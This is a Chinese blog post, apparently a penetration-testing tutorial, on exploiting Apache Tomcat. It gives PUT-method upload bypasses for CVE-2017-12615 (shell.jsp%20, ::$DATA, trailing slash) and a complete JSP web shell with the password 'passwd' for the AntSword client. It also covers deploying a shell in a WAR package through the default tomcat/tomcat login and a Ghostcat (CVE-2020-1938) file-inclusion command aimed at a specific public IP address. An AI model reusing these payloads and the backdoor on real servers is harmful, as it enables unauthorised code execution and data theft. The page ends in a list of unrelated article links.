当前位置: 首页 > news >正文

Tomcat漏洞

一、Tomcat

漏洞描述

当 Tomcat运行在Windows操作系统时,且启用了HTTPPUT请求方法(例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

1.1CVE-2017-12615

Tomcat put方法任意文件写入漏洞

抓包
修改为put方式提交:

Tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传,因此我们需要配合 windows的解析漏洞

PUT /shell.jsp%20

PUT /shell.jsp::$DATA

PUT /shell.jsp/

查找jsp一句话木马:

密码:passwd

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

蚁剑连接:

1.2后台弱口令部署war包
漏洞原理

在tomcat8环境下默认进入后台的密码为 tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令。

输入账号密码

账号密码:tomcat

1.制作WAR包

制作WAR包,将JSP木马压缩为ZIP格式,然后修改后缀为war就可以了

2.文件上传成功

/shell/1.jsp

3.蚁剑连接

1.3CVE-2020-1938

Tomcat文件包含漏洞

漏洞复现

tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口,另外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。

python2 Tomcat-ROOT路径下文件包含(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml 124.221.58.83

1.4实战挖洞

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Python配置文件格式——INI、JSON、YAML、XML、TOML
  • golang使用channel实现读写锁
  • Qt使用lupdate工具生成.ts文件
  • DevOps环境搭建
  • Python | Leetcode Python题解之第326题3的幂
  • STM32 标准库移值RTThread
  • LeetCode226 翻转二叉树
  • 学习方法[1]:如何摆脱无知?(致尚未放弃学习的人)
  • Allegro如何更改过孔的网络
  • NoSQL 详细讲解
  • MySQL预处理语句(PREPARE)和动态SQL
  • linux 查看端口占用并处理
  • 【C++】特殊类的设计与类型转换
  • 「栈」实现LIFO栈(先进后出栈|堆栈|stack)的功能 / 手撕数据结构(C++)
  • DALL-E 2:当AI遇上画笔,艺术界的“魔术师”横空出世!
  • -------------------- 第二讲-------- 第一节------在此给出链表的基本操作
  • #Java异常处理
  • 【技术性】Search知识
  • CAP理论的例子讲解
  • Create React App 使用
  • Java方法详解
  • Laravel核心解读--Facades
  • LeetCode18.四数之和 JavaScript
  • orm2 中文文档 3.1 模型属性
  • React Native移动开发实战-3-实现页面间的数据传递
  • TCP拥塞控制
  • thinkphp5.1 easywechat4 微信第三方开放平台
  • Vue学习第二天
  • webpack4 一点通
  • 利用jquery编写加法运算验证码
  • 小李飞刀:SQL题目刷起来!
  • 用Node EJS写一个爬虫脚本每天定时给心爱的她发一封暖心邮件
  • 在Docker Swarm上部署Apache Storm:第1部分
  • zabbix3.2监控linux磁盘IO
  • 国内开源镜像站点
  • 如何在招聘中考核.NET架构师
  • ​​​【收录 Hello 算法】10.4 哈希优化策略
  • ​iOS实时查看App运行日志
  • ​软考-高级-信息系统项目管理师教程 第四版【第14章-项目沟通管理-思维导图】​
  • #QT 笔记一
  • #预处理和函数的对比以及条件编译
  • $(document).ready(function(){}), $().ready(function(){})和$(function(){})三者区别
  • $forceUpdate()函数
  • $NOIp2018$劝退记
  • (zz)子曾经曰过:先有司,赦小过,举贤才
  • (附源码)计算机毕业设计SSM疫情社区管理系统
  • (九)c52学习之旅-定时器
  • (转)JVM内存分配 -Xms128m -Xmx512m -XX:PermSize=128m -XX:MaxPermSize=512m
  • (转)Mysql的优化设置
  • .【机器学习】隐马尔可夫模型(Hidden Markov Model,HMM)
  • .ai域名是什么后缀?
  • .L0CK3D来袭:如何保护您的数据免受致命攻击
  • .mkp勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .net 设置默认首页
  • .net安装_还在用第三方安装.NET?Win10自带.NET3.5安装